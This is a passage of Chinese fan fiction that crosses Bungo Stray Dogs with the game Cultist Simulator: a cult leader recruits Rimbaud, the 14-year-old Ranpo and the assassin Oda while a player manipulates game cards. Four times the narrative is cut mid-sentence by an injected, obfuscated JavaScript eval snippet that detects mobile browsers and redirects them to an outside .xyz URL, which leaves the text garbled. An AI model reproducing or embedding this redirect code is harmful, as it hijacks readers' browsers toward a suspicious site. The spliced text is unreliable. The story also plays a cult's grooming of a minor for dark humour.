直到最后一刻,他也不曾闭上眼睛,他见证着这伟大君主的最后一刻,沉重的尸体压在他身上,将他拖拽着跪倒下去。 他捧住凯撒无力垂落的头颅,落下一吻。 观众们起立,纷纷鼓掌。 “Bravo!”有人喊着,灯光暗下,一切复归黑暗。 几秒后,聚光灯突然再次亮起,观众席上已经空无一人,惨白的光束毫无慈悲地直射过来,照亮在兰波的脸上,犹如刑讯室拷问犯人的白炽灯,他下意识伸手遮挡。 逆着强光,他头痛欲裂,沉睡已久的记忆行将复苏,眼神依旧凝视在布鲁图勃鲁托斯那把垂下的短剑上,指尖颤抖,很轻微,大概只有他自己能感觉得到。 米迦不知何时绕到了他的身后,他双手扶着兰波的椅背,低下头,亲昵地在他耳边轻声发问,“难道勃鲁托斯的剑比别人的更锋利吗?竟让伟大的皇帝也失去了斗志。” 半晌,兰波听见自己的回答,“不。只是我……从未想过他会动手。” “哦……”米迦轻叹着,仿佛听到了什么亘古不变的恒久悲剧,“置我们于死地的,终究还是爱。” “你让我看这些,是想从我这里获得什么?”兰波问他,或许是出于前间谍的职业素养,即使是在这种时刻,他也依旧不动声色,仿佛什么也没办法动摇他似的。 “不,不是我想从你这里获得什么,兰波先生。”米迦看着他微笑,好像觉得他的这种伪装很有趣,“是我能给予你什么。” “我问自己,像你这样默默无闻的国家英雄,被剥夺了一切,流落异国他乡,难道不值得褒美与荣耀吗?” “我倒是从来不知道,英国人会对法国的家务事这么上心。”兰波淡淡地说。 米迦哈哈一笑,“敌人的敌人,就是朋友,不是吗?我猜我那伟大祖国的大人们,大概也不怎么喜欢我。” 兰波不置可否,想要开口说什么,却被突然闪现到面前的米迦伸出的食指压住了双唇。 “没必要现在就做决定,在这样的情况下,无论说什么,对你而言都实在不公平,”他俯下身,脸凑得极近,“我们大可以挑一个双方都觉得舒服的环境,毕竟,我可不是要引诱你签下不平等条约的恶魔。” “我想和你建立平等的,长期的,稳定的关系。”他笑得亲切,“请务必好好考虑一下。” 黑暗,就像是沉入深井,世界的边际开始轻微地摇晃,话语的回音都逐渐远去,突如其来的失重感,就像是,从梦中惊醒。 兰波猛地睁开眼。 冰冷的金属气味扑面而来。水汽凝结在铁制横梁上,耳边传来断续的滴水声,一滴一滴,回响在空旷的空间内。 这里不是剧院。 他正坐在船坞深处的一间废弃仓库中,潮湿破败的房间里,清晨灰白色的光透过残缺的天窗漏下。那光芒浅淡而干净,如同褪色的回忆。 他的外套微微滑落,肩头冰凉。身侧的混凝土地面上,有一枚燃尽的香烛蜷缩成灰。点燃过,但又被谁无声地掐灭。 剧院早已消失。 台词不再回荡。船坞内空无一人。那些血、那把短剑、交谈、回忆,全都仿佛只是梦里自导自演的一幕荒诞悲剧。 兰波捂住额角,那里隐隐作痛。 他回想起出现在那座剧院之前的事情,他追寻着线索,城市里隐秘的只言片语,口口相传的荒诞故事,踏入了这座船坞。 恐怕,在那个时候,就已经落入了梦境的蛛网吧。 然而,他却丝毫没有察觉到不自然,理所当然地接受了展现在面前的一切,就像做梦时的那种自我合理化一样。 异能力? 藤卷和他手下的人蛇团伙就是这样悄无声息地在梦中死去的吗? 还有被那家伙所唤醒的,过去的回忆…… 思考着繁杂的问题,他缓缓起身,目光掠过身侧锈迹斑斑的铁桌,一本淡蓝封面的书正安静地躺在桌面上,纯色的封面毫无装饰,仅在书脊上用如同爪痕的陌生语言写有书名。 书籍下压着一张叠好的、略有燃痕的便签纸。上面如此写道: “世界会遗忘,但骨白鸽不会。 想记得的,就来找我。 吻你抱你。 ——你忠诚的不会背叛的朋友 米迦·莫里斯” 便签的末尾留着一个模棱两可的地址:横滨剧场·售票处。 他看着那张纸良久,脸上没有任何表情,仿佛仍在梦境与现实的缝隙中徘徊。 但有什么东西,已经静静动摇了。 他从嘎吱作响的旧铁椅上站起,依旧沉默。外衣沾了灰,靴边泥湿。他没有立刻行动,也没有销毁那张便签——只是他夹在书中,轻轻收在了外套内衬的暗袋中。 他的身影融入了船坞的光雾中,一如那些正在回返他记忆中的影子。 骨白鸽记得被所有人遗忘的事物。 这句话莫名出现在他的脑海中 也许,他就是那“被遗忘之人”。 …… 【你正与此人密谈:司掌纪念与追悼,被剥夺至尽,且不可欺骗的神灵。我将告诉你这位神灵的名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740174|174131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。听我说……】 交谈事件的光圈转到尽头,归还了你暂时陷入枯竭的激情和密传,你点开兰堂的卡牌,失望地发现,下方的标签并没有出现【追随者】这一性相。 果然,没办法一次性就成功啊。 你叹了口气,倒是没有多气馁。 毕竟,这个游戏就是这样的,玩不起就别玩。 而且,你也不能说是毫无收获。 桌面上,【港口maifa成员兰堂】这张卡已经悄然发生了改变,卡牌下方的文字变为了【叛党兰波】。 【叛党兰波:兰波正在思考我们的谈话,关于回忆,背叛,和那位不可欺骗的神灵,这需要花时间,但此人值得我等待。】 看来还有后续可以触发,你放心地把他的卡牌单独放在一个足够显眼的位置,转头和你探索出来的新角色交谈去了。 之前和兰波的交谈事件要花90秒,这90秒你当然不可能只是白白等待。 但前期资源匮乏,能做的事情也就很少。 你先是用之前返还的那张邪名把名望从藉籍无名升到了2级【崭露头角】。 思忖再三,还是拿起那张半亡的健康,放进了探索里。 既然还有一半是活着的,就给你干活去吧。 你冷酷地想。 最好能探索出个什么书店之类的,你现在手上只有一张密传,还是冬属性的,你没有很想建冬属性的教会,毕竟,众所周知,密教正统在灯。 这一点从每一任执掌漫宿的司辰都被称为太阳就可见一斑。 探索只需要30秒,在谈话事件进行到一半时,就已经结束了,你怀着抽盲盒的心情翻开得到的卡牌,失望地发现,找到的并不是书店。 你得到的,是一张名为【熟人江户川乱步】的卡牌。 信徒预备役啊,好像也挺不错的。 这么想着,你漫不经心地点开卡牌的简介,今晚第二次,差点把嘴里的奶茶喷出来。 【熟人江户川乱步:乱步是个身怀惊人天赋的孤儿,只是现在这种天赋被困在重重枷锁之中,他需要一名引路人,或导师。我能符合他的期待吗?】 【凡人】【熟人】【天才】【15阶灯】 朋友们,这对吗? 怎么回事啊,你们横滨? 你目瞪口呆,这座城市里天生圣体是批发的吗?还是说整座城市都已经悄悄飞升过了? 怪不得要给你的人子史诗级加强,没点挂在这群神人前还真拿不出手,到时候放眼望去,信徒一个个都比教主牛逼那就搞笑了。 而且这张卡牌的脸也很好看,能泡吗?这么想着,你瞥了一眼年龄,14岁,哦,那没事了。 你心如止水地把男孩拖进【交谈】里,开始诱拐未成年人。 【新的开始?:人多山倒,力众海移。 此地有一个能与我共事之人。可以做伙伴,也可以做追随者。我得给对方一个能追从的东西:或社团,或帮会,或组织,或教派。 我开始创立我真正的事业。当地组织一定会来打探的,我必须准备好对付他们的手段。】 你看着屏幕上的文案,露出了欣慰的微笑。 你的人子终于不是光杆司令,而要当上真正的密教头子了。 5. 第 5 章 米迦·莫里斯坐在洲际酒店弥漫着食物的香气的餐厅里,一边喝咖啡,一边看书。 窗外安静地下着雨,他的座位正对着Cosmoclock 21摩天轮,转动的霓虹灯在雨幕中拉出长长的彩色残影,这是个尴尬的时间段,餐厅里除了他之外几乎没有人。 有人走过来,在他的对面坐下,拿起菜单,叫来侍者,毫不客气地点了一大堆东西。 做完这些,黑发的少年将手肘撑在桌子上,百无聊赖地捧着脸,一边晃悠着腿,一边看着米迦的脸发呆。 米迦莞尔,合上书,冲少年打招呼,“下午好啊,乱步君,工作找得怎么样?” “完全没有进展。”被他称为乱步的少年鼓起脸颊,一听到米迦的问题,立刻就气呼呼地抱怨,显然憋得慌。 米迦是在一个午后遇到的这个少年,那个时候,他正遵从伟大的主的意志,探索这个城市。 相遇的时候,少年正一个人坐在河堤边,独自一人的背影看起来很孤单。 这个想法在他的脑海里停留了一会儿,少年若有所觉,回过头来。 在对上视线的瞬间,少年似乎思考了几秒,突然就地一躺,抓住他的裤脚,用很难分辨是在开玩笑,还是在实话实说的活泼语调开口。 “救救我,好心的大叔,”他摆出一副想装作可怜,却因为某种天性,看起来依旧跳脱稚气的面庞,“我已经有两天没有吃饭了。” “这样啊,”米迦从善如流,“真可怜,真可怜,我请你吃点什么吧?” 然后,他就像捡流浪猫一样,麻溜地把少年带回了他现在正寓居的酒店。 乡下小猫之前哪里吃过这种五星级酒店餐厅的高级猫罐头,一顿饭吃得咪咪喵喵。加之米迦的刻意引导,非常顺利的得知了少年的来历。 少年名为江户川乱步,今年14岁。半年前,因为父母意外去世,独自从乡下来到大城市投奔父母生前的好友,成为了警察学校的一名工读生。 然而,他的警校生涯并不如意。 他自由的天性与跳跃的思维,和警校一板一眼,要求高度服从的规矩格格不入,在加之不善处理人际关系,与学校里的舍监发生冲突,被赶了出来。 现在正在为了独立生活,笨拙地找工作中。 听到这里的米迦,适时地提出了可以赞助他直到大学毕业的提案。 “我很中意像乱步君这样的,前途无量的年轻人哦。”他双手十指交叉,置于胸前,笑得纯良无害。 但是小猫毕竟是有骨气的流浪猫,或者说,还没有遍尝生活的辛酸,经历社会的毒打,一口回绝了米迦绑架代替购买的提议。 “虽然大叔能请我吃饭我是很感激啦,但是让我去信你那个奇怪的神还是算了吧。” 听到这句话,清楚地明白自己在交谈过程中并没有泄露任何信息的米迦,眼中闪过了不加掩饰的赞许,但还是矜持地维持住了教主大人神秘莫测的形象。 “我当然尊重乱步君的决定,”他说,“但是要是乱步君改变心意了,也可以随时来找我。” 他的这种余裕,大概是源于,他已经看穿了乱步所面临的,根本不是什么性格、交际上的简单问题。而是源于更深层次的错位感。 这个能轻易看穿一切的少年,恐怕根本没有意识到自身的特别之处。甚至荒唐地认为,世界上的所有人都有着和自己一样的能力。 说实话,米迦甚至对他这种认知误差的形成原因感到好奇。 大概是家庭教育吧?他想,多么宠爱孩子又理想化的父母啊,居然认为,能够没有任何意外地为这样的孩子保驾护航,直到他能独当一面。 然而,这个世界根本不是这样运作的。人们每天醒来,过着一成不变的生活,并赋予这种生活以“日常”的名义,就理所当然地认为日常会一直延续下去。 但世界本身就是由众多不可理喻又蛮横的随机扰动所构成的。至今能一直过着安稳生活的人们,应该感谢自己的幸运,并且最好祈祷,这种幸运能够永远维持下去。 米迦的嘴角噙着一抹自嘲的微笑。 毕竟,和世界,以及肆意地将世界作为掌中玩物的神明比起来,人的力量是多么脆弱无力啊,除了祈祷之外,还能做什么呢? 他知道,乱步必然会回来的,因为这个少年和他的父母一样,才华横溢又理想化。这样的人是应付不了这个蛮不讲理的世界的。 他所要做的,仅仅是等待,等待着乱步落入他掌中的时刻。 就像他所预想的那样,少年踏上了找工作的艰辛旅程,这期间,他们又见过几次面。 在乱步那里,米迦大概是一个经常请吃饭的大叔的形象。 每当实在揭不开锅的时候,他就跑到这家酒店的餐厅来,一边蹭吃蹭喝,一边困惑地讲述着自己那不太顺利的求职经历。 而米迦总能给出有用的建议,就像一个真正的,符合乱步期待的大人。 他父母那样的大人。 “我一点也不明白大人们在想什么,面试的时候,他们让我讲对这个岗位的看法,我说应该会很辛苦吧,毕竟坐在那里的营长大叔老是侵占分发的补给嘛,结果被莫名其妙地大骂了一顿,然后就被赶出来了,连求职活动认定书都没给我。” 他喋喋不休地嚷嚷着,“明明都是一眼就能看穿的事情,大家为什么都要装作不知情,还要惩罚说出来的人呢?这也是城市里的规矩吗?” “嗯……是呢,我想想,”米迦从容不迫地垂下眼睛,告诉他,“城市里的规矩是这样的,当一个比你位高权重的人犯了错,你不能当面揭发他,而应该私下找到和他关系不好的同级或上级进行汇报,当然,处理的结果不一定会合你的心意,但起码不会受罚,说不定还能得到奖励哦。” “原来是这样啊,我学会了。”乱步蔫蔫地答应了下来,毕竟,一直以来,米迦告诉他的,总是正确的。 然而少年依旧忿忿不平,忍不住嘀咕道,“大人为什么有这么多弯弯绕绕的规矩呢?” 米迦耐心地为他解释,“那是因为,乱步君现在还很弱小,所以才会觉得这很不合理,但是试想一下,乱步君现在如果是那位营长呢?” “我才不会做这种事情。”乱步立刻抗议,“就算要做,也会做得更漂亮。” “嗯,我知道,因为乱步君是聪明的好孩子嘛,”米迦并没有因为被打断而不悦,“是我的比方打得不恰当。” 乱步被顺毛捋得很受用。 “那就让我换个假设吧,假如乱步君是那位营长的同侪,因为职务不同,之前不常见面,当然也无法得知他做过的那些事情。”米迦继续说,“有一天,你们因为面试坐在同一张桌子上,你突然发现,此人是个大坏蛋。” “此时,你有两个选择,其一,为他隐瞒,向他卖人情,并以此为要挟,让他以后为你做事,”他伸出一根手指,“其二,向上级举报,得到上级的赏识,此人之前所得的种种好处,都将成为你的资源。” 他伸出第二根手指。 “但是,这个时候,突然跳出来一个无权无势的少年,将其中只有彼此心知肚明的种种关窍摆上了台面。”他将两根手指都收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740175|174131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了回去,“砰”地一声推倒了桌上的盐罐,“这个时候,你原本所能得到的种种好处,一下子就化为了泡影,这个时候,乱步君会怎么做呢?” 乱步若有所思,不情不愿道,“把那个少年清除出局,让局面恢复的原本该有的样子。” 米迦微微一笑,“所有看似不合理的规矩,本质上都是为有权力制定规则的人服务的。当做决定的代价微弱到可以忽略不计的时候,道德才会显示出它真正的尺度。” “大人好麻烦啊……” “这个世界上的大多数事情,就是因为麻烦才有趣哦。”他抿了一口杯中的咖啡,“就像那句话说的那样,是你为你的玫瑰付出的时间,才使你的玫瑰如此珍贵。”? “但是,我果然不喜欢那样。”乱步忍不住抗议。 “乱步君,你现在几岁?” “14岁。” 米迦忍不住笑起来,“14岁,还是小孩子啊,孩子有任性的权利哦,你就躲在大人的羽翼下,好好享受这份特权吧。” “但是,”说这话的时候,乱步的脸上有着难以掩饰的落寞,“已经没有那样的人了。” 米迦盯着他看了一会儿,觉得时机已经成熟,恰当地提出邀请,“乱步君,要不要为我来工作?” “嗯……”出乎意料的,乱步没有一口答应下来,他纠结地皱起眉毛,“但是,大叔你基本是在做坏坏的事情吧?” “是啊,”米迦坦然承认,低下头自嘲一笑,“毕竟,侍奉神明就是这样的事情,神明大人一个两个,可都是比小孩子更加任性的存在。” 乱步盯着他看了一会儿,突然恍然大悟,脱口而出,“我知道了,大叔,原来像你这么厉害的人,在你的那个神面前,也是无权无势的大人啊。” “唉,”米迦看着他叹气,已经在心里盘算怎么之后该怎么教小孩说话的艺术,“是啊,在神明面前,我们都是蝼蚁哦。” “因为是弱者,才需要遵从已有的规则,一步一步向上攀登,直到积攒到足够的力量,毕竟……”他将咖啡杯轻轻扣在桌子上,看向窗外遥远的天空,“我想要的东西,值得我去花费那么多时间。” “那可是比世界上任何事情都更加麻烦,更加有趣,更加珍贵的,独一无二的玫瑰啊。” 乱步定定地看了他几秒,像是突然明白了什么。 “那我要加入!”他的眼神亮晶晶,“太有趣了!弑……” 米迦猛地将食指压在他的嘴唇上,止住了他接下来的话语,语气依然平和,说出口的话语却令人不禁悚然,“那是不可以说出口的话哦,神明正注视着我们呢。” 乱步眨了两下眼睛,乖乖闭上了嘴巴。 “而且,那种说法毕竟太粗暴了,我不喜欢,”米迦说,“比起毁灭什么,创造什么更符合大义的名分,不是吗?” “所以我把它称为,为了更好的诸神,”他温柔地说,“更加仁慈,或者更加顺服,总要满足一个吧。” “然后,我要让世界按照我喜欢的规则来转动。”乱步因为这个想法而兴奋不已。 “会很辛苦哦。” “不是有大叔在吗?”乱步理所当然地道,带着孩子特有的狡黠,“大叔是了不起的大人,我就躲在你的羽翼下,让大叔来决定我的行动吧。” “如果这是乱步君的期望的话。”米迦微笑着,视线落在那在个世界中,只有他能所见的桌面上。 那里,追随者的卡牌正闪闪发光。 【追随者:你的学生、合伙人、护卫、拥护者。也可以被你欺骗,或当作祭品……】 6. 第 6 章 【追随者:你的学生、合伙人、护卫、拥护者。也可以被你欺骗,或当作祭品……】 你的目光落在这行文案上几秒,就不感兴趣地挪开了视线。 开玩笑,你又不是疯了,怎么会拿珍贵的15阶信徒去当一次性消耗品? 祭品的话,随便去大街上雇个人囚禁起来备用不就行了吗?还可以卖到蜘蛛之门做三角贸易。 这么想着,你露出了邪恶的微笑。 所谓三角贸易,是指密教模拟器本篇的一种邪修赚钱方式。 把雇佣到的一次性帮手囚禁起来,献祭给蜘蛛之门,就可以进入漫宿,有大概三分之一的概率可以捞到名为赤化精华的高级材料。这种材料拿去奥里弗拉姆拍卖行拍卖,运气好能一次性卖出28个金币的天价。 但这种地狱方法自然也有弊端,那就是会产生大量的邪名。 不过【人子】这个dlc显然没有这种顾虑,你看过了,下一次升级名望需要两张邪名。 你第一次对自己的温良感觉到淡淡的遗憾。 不过,难得的新机制,一直只用邪名升级,也太无聊了。 你回想起之前升级名望时所看到的提示,神迹、组织、追随者或邪名。 对于“神迹”,你目前还没有什么思路,邪名也先放一边,那就试试追随者和组织吧。 你试着把目前唯一的追随者乱步和名望卡一起拖进研究里。 【无名之辈:我的追随者是一位富有潜力的年轻人,然而,他目前仍然名声不显,恐怕难以提升我的名望。】 你失望地将乱步拖出来,换上刚刚获得的教团卡牌“辉光之镜”。 【势单力薄:我的密教社团,追求解明泄露自更猛烈处的光芒。目前仍是横滨众多组织里最不起眼的一个,或许我该做些大事,让人们明白我们的特别之处。[吞并其他组织,或扩大地盘,提升教团的影响力。]】 就是这个! 你眼前一亮,略微思索,在某种直觉的指引下,将教团卡拖进探索里,果然出现了全新的文案。 【强敌环伺:盘根错节的地下组织是这座城市的特色,然而,如今的情况不一样了。既然我来到此地,这拥挤的世界就应当为我让出一席之地。 危机四伏的境况:现下我尚且安全,但这种安全无法长存。让灯相为我辨明境况,或启相为我洞开道路。】 空出的卡槽闪闪发光,你一拍大腿,这不是巧了吗? 是谁家教主有超牛逼的灯相追随者? 原来是我家人子哒! 你几乎轻哼起来,愉快地把乱步拖进卡槽里,文案几乎是立刻发生了变化。 【我们拜请守夜人,照明驱暗之神。我们谅必能够厘清这错综复杂的现状。】 你感觉到一种让齿轮严丝合缝依照你的心意转动的快感。 …… “乱步君,我要请你做一件事。” 熟悉的餐厅,熟悉的前不着村后不着店的时间段,熟悉的靠窗座位。 像是听见了什么一般,黑发的男人翻动书页的手指突然一顿,合上书籍,抬起头,用一如既往彬彬有礼的语调对着餐桌对面的黑发少年开口。 “这就是神谕?”乱步从书本中抬起头,难掩失望,“比我想象的要朴素得多了。” 他大概是在期待什么天降金光,路边的行人们突然两眼翻白七窍流血一个接一个的前来搭话,或是巨大的神像出现在天边的大场面吧。 可惜,如果是那些赫赫大名记载于诸史之中的司辰,或许真的会做这样的事情,但米迦所侍奉的那位主,显然要平易近人得多。 尽管与预期略有偏差,乱步仍然迫不及待地从与拉丁语法术的互殴里逃脱出来——新语言对他而言倒是没有难度,但是要在密教学徒充斥着自恋与异想天开的日记里寻找一些有益的只言片语就有些无聊了。 在乱步加入教团后,米迦就以一种温柔而不容置疑地态度为他布置了大量的阅读任务。 那些蕴含着理性和启明的知识的书籍并不像他们的属性那样逻辑顺畅,起码在乱步看来,大多数狗屁不通。 但他确实学到了些东西,看桌面上多出的一大堆灯属性密传就知道了。 显然,米迦的那位主把他当成了某种很方便的自动阅读机,乱步出类拔萃的智慧和高得吓人的灯属相让他阅读文献几乎没有门槛。 自从发现了这一点之后,他就陷入了读书地狱。 “让大叔来决定我的行动吧”,这是乱步的原话,但他也没想到会是这种方式兑现承诺,说实话,再不给他布置点新任务,这位新追随者可能就要无聊到叛变了。 “我希望你能为我调查横滨的地下势力。”米迦说,“它们现在太臃肿了,不是吗?我和我的主都认为,对于这座城市而言,其中有些组织既无美学,又无裨益,实在没有存在的必要。” 这话说得实在狂妄,然而在座的两人丝毫没有意识到这一点。 “所以我要替大叔找到能够吞并的势力?” 米迦微笑着,确信地点了点头,并且告知了少年一个残酷的事实,“实际上,这其中还有更加严峻的问题。” “什么?” “我们快没钱了,乱步君。” 这话让乱步倒抽了一口冷气。 过了一段时间锦衣玉食的奢靡生活,乱步已经很难想象当初流落街头时吃了上顿没下顿的日子。 “放心吧,乱步君,真到了那一步,我会去街上搬砖养活你的。”说到搬砖,米迦那张素来温和的面庞不知为何有种骄傲的眉飞色舞,“当初在伦敦,我可是靠着搬砖养活了二十多个信徒呢。” “除此之外,在多重历史中,我还靠画画维生,去公司上过班,当过警探,做过医生,成为一个真正的神父,跳过脱衣舞……”他如数家珍,不知为何,还保留了他卖钩子的历史,“总之,你不必担心,就算做不成这事,我们也能过得很好。” 他这话本意大概是出于宽慰,然而听在乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740176|174131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步的耳朵里,大概只是让他的意志更加坚定了,虽然乱步本来就没打算失败。 “放心吧,大叔!”他握住米迦的手,自信满满,“我一定会守护你的屁股的。” 猫帮人养家,猫好! 米迦既感动又满意,给乱步塞了两个金币作为活动经费,一路把人送到了酒店门口。 乱步冲他挥了挥手,就像一个出门去春游的小学生挥别家长一样兴奋。 然后他就失去了乱步的音讯。 虽然如此,他也并不十分着急,悠闲地在酒店里阅读着积存的文献,时不时寄出作为补充的资金,在三天后,乱步终于远征归来了。 离家时油光水滑的小猫回来时灰头土脸,看起来惨兮兮的,身后还跟着一个陌生的红发少年。 “怎么了,乱步君?”米迦吃惊地拿蘸了温水的手帕给他擦脸,乱步乖乖地仰起头,任由他动作。 听到这句问话,乱步蔫蔫地回答,“我迷路了。” “……这可真是。”米迦叹了口气,“下次我会注意给你配个认路的搭档的。” 最好是启属性的,这样就算迷路了也能直接开门回来。不过话说回来,灯本来就有照亮前路的属性,乱步到底为什么会迷路? “但是那些任务,我只花了一天就完成了。”像是急着要为自己的能力的正名,他迫不及待地补充道。 “我知道。”米迦点了点头。 看桌面上那些密密麻麻的卡牌就能明白,乱步的工作完成得有多么出色。 【格哈德安保服务GSS】【海外组织Strain】【高濑会】【港口黑手党】【武器商人阴刃】【原宗教组织圣天锡杖】【走私集团KK商会】…… 这些代表着横滨知名地下组织的卡片整整齐齐地排列在桌面上,每一张都详尽地列出了介绍、等级、属性、阻碍和解决所需的相性。 可以说,只要按照乱步的调查准备好对应相性的卡牌,击溃这些组织就像用烧红的餐刀切开黄油那样简单。 “你做得很好,乱步君。”对于出色的信徒,米迦丝毫不吝于溢美之词,“我就知道,如果是你的话,一定不会辜负我的期待。” 乱步被夸得很受用,叉腰得意洋洋地提出要求,“再多夸我一点也没有关系哦,毕竟我可是成功守卫了大叔的屁……” 米迦微微一笑,无情地捂住了口无遮拦的小猫的嘴巴,他越过乱步的肩膀,冲一直安静地等候再一边的红发少年点头致意。 “是您送乱步君回来的吧,实在是帮大忙了,我该怎么感谢您才好呢?” 他的话语突然有了不自然的停顿,视线在少年头顶的【15阶刃】上停留了一会儿,连客套的感谢都突然变得真心实意。 “不麻烦的话,能赏脸让我请您吃顿饭吗?这位先生。” 红发少年面无表情,仅从神色很难看出他在想些什么。 听到米迦的话,他略微思索,点了点头,“辣咖喱就很好。” 他说。 7. 第 7 章 【满载而归:我的追随者带着周边势力的情报归来了,虽然花了点时间,但这是值得的。胜利的道路清晰如同一卷猩红色的地毯展开至我脚边。 雇工?:我的追随者找到了一个收钱办事的人,我或许可以雇他去做那些我于心不忍而又不得不为的事情。[添加“资金”,在一定时间内雇佣此人。]】 你大为惊奇,探索任务怎么还能带土特产回来? 翻开那张崭新出炉的雇工卡,看到上面那明晃晃的15阶刃时,你已经心平气和,撕开一包pocky,夹起一根猛抽一口,做沧桑状。 呵呵,你已经不会被这个超模的游戏吓到了。 【金牌杀手织田作之助:此人是一位干练的暗杀者。在他所能见的未来中,不存在失手的可能性。[该雇工可以用于探险,并且可以帮你解决来寻找你犯罪证据的猎人和找你麻烦的家伙。]】 巧了么不是,你正好有想解决的家伙。 你兴致盎然地在一堆势力卡中挑挑拣拣,把他们按照等级高低分门别类地整理好。 在一众2级组织中,你盯上了那张名为【原宗教组织圣天锡杖】的卡牌。 开玩笑,在这个城市里搞密教的只需要有一个就够了,要怪就怪它的生态位擅自和你的重合了吧。 你点开卡牌的文案。 【原宗教组织圣天锡杖:拥有众多信徒,以敛财为目的的三流组织,但对于我那初出茅庐的教团来说,可能也是一种挑战。 涸魂诅咒:这个组织被涸魂诅咒保护着。若是没有灯或者心,这诅咒会跟着我们回去,吸干我们的魂。 僧侣:一队恪守誓言,信奉传统的守卫。杯之魅惑对他们没有效果,我们必须用刃击败他们,或是用蛾迷惑他们。】 田娜,这组织简直命中注定是要被你击败的。 你迫不及待地把【金牌杀手织田作之助】拖进交谈里,塞进一个金币。 …… “味道如何?”米迦一边拭嘴,一边不动声色地趁机灌下半杯冰水,望向对面的红发少年。 一旁的乱步则毫不掩饰地吐着舌头,大口大口地灌水,活泼地抱怨,“简直是在殴打我的舌头。这真的是人类能吃的食物吗?” “好吃。”与这两个人相反,名为织田作之助的红发少年面不改色地大口吃着盘子里深色的咖喱,虽然一如既往的面无表情,但隐约能看出他周身那种飘飘然的幸福感。 “这个人的味蕾已经完全坏掉了吧?”乱步一脸震惊。 酒店高级餐厅的菜谱上并不供应咖喱这种平民食物,但米迦毕竟是这里的常客——而且从不吝啬于小费。 厨房很乐意满足这位贵客小小的特殊需求。 而当米迦笑着对侍者说出“来这个国家这么久了,还没怎么尝试过本地的特色呢”这句话时,侍者的身后更是燃起了熊熊的斗志。 不知他是如何向后厨传达的,但显然有着务必要让这位英国客人赞不绝口的决心。 最终的成果正是三人面前的咖喱饭,真的很辣,辣到狠毒,但米迦也不得不承认,它是很好吃的。 侍者来给他们添过水,然后离开了,餐桌上一时陷入一种微妙的沉默。 米迦将水杯推到织田的面前,双手交叉置于胸前,突然极为自然地开口,“织田君,是暗杀者吧?” 闻言,织田下意识地瞥了一眼斜对面的乱步,米迦心下了然,想必这是已经被乱步开过户了。 “这是一次刻意的接触吗?”红发少年问。 米迦笑了,“如果你要问这其中是否有人力的干涉,我的答案是‘否’,但是你要问这其中是否有神明的安排,那么我也并不十分确信。” 他说,“毕竟主安排着我们的一举一动,无论困难与否,我从不过问祂为我降下的试炼。” 织田点了点头,从他的脸上,很难看出他对这个说法的感想,仿佛不深感兴趣似的,他低下头,又吃了一口咖喱。 “但你还是查过我。”片刻后,他重新抬起脑袋,语气平淡,但非常确信,“我刚才只要求了辣咖喱,但这份咖喱不光是符合我要求的程度,这是大阪混合咖喱,你连我的出身都调查了。” “如果主认为有必要的话,我当然会知道一切。”米迦从容不迫,“我知道你是最近当红的杀手组织的成员,我也知道所谓的杀手组织实际上只有你一个人,我知道你近期大概率受雇于圣天锡杖的人,我也知道你从未真正加入他们。” “那你知道的很详细了。”织田脸上的表情没有任何波动,用无法窥探心情的语调普普通通地说。 餐桌上尴尬地沉默了两三秒,乱步不可置信地偏过头。 “这个人完全不吐槽啊,也没有求知欲。” “冷静点,乱步君,可能这就是金牌杀手吧,泰山崩于前而面不改色。” “而且,你的神秘密教领袖人设人家完全不买账。之前若无其事地把这种咖喱咽下去都白费了。” “……不要当众揭穿我,乱步君。” “不,我现在其实很紧张。”红发少年的语气毫无波动,让人无法相信他的说法,同时,难得展现出一点真实的遗憾,“原来你们欣赏不来辣咖喱啊。” 米迦装作听不见,轻咳一声,将话题拉回了正轨,“织田君,你对圣天锡杖这个组织怎么看?” “他们付钱,能出得起市场价。”织田作平静地说,“我不关心谁是‘好人’。” “那你觉得他们是坏人吗?” “横滨没什么‘好人’和‘坏人’的区别,只有谁先倒下。” 米迦笑了,语气依旧温和,“很有趣的说法。” “只是,我不禁问自己,为正义和公理而战是可耻的吗?答案当然是否定的,只是,在这座城市的沉疴痼疾面前,这种不切实际的想法也变得幼稚可笑。” “你想说你是正义?”织田问。 “当然不是,否则我也不会和织田君坐在这里了,”米迦笑着否认,他顿了顿,继续道,“那么……如果我也开价,请你对他们出刀,你会怎么选?” 织田作停下了勺子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 